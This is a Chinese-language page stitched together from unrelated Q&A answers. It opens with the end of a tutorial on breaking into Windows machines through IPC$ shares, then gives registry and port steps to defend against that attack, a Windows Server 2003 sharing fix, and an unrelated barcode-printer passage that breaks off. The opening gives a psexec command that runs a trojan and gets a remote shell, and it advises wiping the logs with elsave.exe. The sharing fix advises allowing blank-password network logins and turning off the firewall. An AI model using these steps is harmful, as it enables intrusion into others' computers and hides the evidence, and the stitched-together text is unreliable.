嗯，好了，两种基本方法都讲了。如果你对上面的操作已经轻车熟路了，也可以用更高效的套路，比如用CA克隆guest，用psexec执行木马，用命令：psexec \\tergetIP -u user -p paswd cmd.exe直接获得shell等，这些都是可以得，随你的便。不过最后不要忘了把日志清理干净，可以用榕哥的elsave.exe。
讲了ipc$的入侵，就不能不说如何防范，那么具体要怎样做呢？看下面

十三 如何防范ipc$入侵

1 禁止空连接进行枚举(此操作并不能阻止空连接的建立)

方法1：
运行regedit，找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为：1
如果设置为"1"，一个匿名用户仍然可以连接到IPC$共享，但限制通过这种连接得到列举SAM帐号和共享等信息；在Windows 2000 中增加了"2"，限制所有匿名访问除非特别授权，如果设置为2的话,可能会有一些其他问题发生，建议设置为1。如果上面所说的主键不存在，就新建一个再改键值。

方法2：
在本地安全设置－本地策略－安全选项－在'对匿名连接的额外限制'中做相应设置

2 禁止默认共享

1）察看本地共享资源
运行-cmd-输入net share

2）删除共享（重起后默认共享仍然存在）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以继续删除）

3）停止server服务
net stop server /y （重新启动后server服务会重新开启）

4）禁止自动打开默认共享（此操作并未关闭ipc$共享）
运行-regedit

server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的键值改为:00000000。

pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的键值改为:00000000。
如果上面所说的主键不存在，就新建(右击-新建-双字节值）一个主健再改键值。
这两个键值在默认情况下在主机上是不存在的，需要自己手动添加。

3 关闭ipc$和默认共享依赖的服务:server服务
控制面板-管理工具-服务-找到server服务（右击）-属性-常规-启动类型-选已禁用
这时可能会有提示说：XXX服务也会关闭是否继续，因为还有些次要的服务要依赖于lanmanserver，不要管它。

4 屏蔽139，445端口
由于没有以上两个端口的支持，是无法建立ipc$的，因此屏蔽139，445端口同样可以阻止ipc$入侵。

1）139端口可以通过禁止NBT来屏蔽
本地连接－TCP/IT属性－高级－WINS－选‘禁用TCP/IT上的NETBIOS’一项

2）445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启机器

注意：如果屏蔽掉了以上两个端口，你将无法用ipc$入侵别人。

3）安装防火墙进行端口过滤

5 设置复杂密码，防止通过ipc$穷举出密码。

‘柒’ windows server 2003 服务器系统问题 共享不见了

情况1：进入工作组提示输入密码
更改网络访问模式 administrator

打开组策略编辑器，依次选择“计算机配置→Windows设置→安全设置→本地策略→安全选项”，双击“网络访问：本地账号的共享和安全模式”策略，将默认设置“仅来宾—本地用户以来宾身份验证”，更改为“经典：本地用户以自己的身份验证”。

现在，当其他用户通过网络访问使用Windows XP的计算机时，就可以用自己的“身份”进行登录了(前提是Windows 2003中已有这个账号并且口令是正确的)。

当该策略改变后，文件的共享方式也有所变化，在启用“经典：本地用户以自己的身份验证”方式后，我们可以对同时访问共享文件的用户数量进行限制，并能针对不同用户设置不同的访问权限。

不过我们可能还会遇到另外一个问题，当用户的口令为空时，访问还是会被拒绝。原来在“安全选项”中有一个“账户：使用空白密码的本地账户只允许进行控制台登录”策略默认是启用的，根据Windows 2003安全策略中拒绝优先的原则，密码为空的用户通过网络访问使用Windows 2003的计算机时便会被禁止。我们只要将这个策略停用即可解决问题。

情况2：工作组进入不了、那就查看一下共享服务开了没。
控制面板-管理工具-服务--查找server服务，将它设为开启。
如果 还不行那就把防火墙给关了。

这样大概也就行了！！希望对你有用！

‘捌’ 条码打印机怎么使用啊

一、设置页面

根据标签的大小来设置要打印的页面格式，具体操作步骤见以下图片蓝色方框处：如图所示：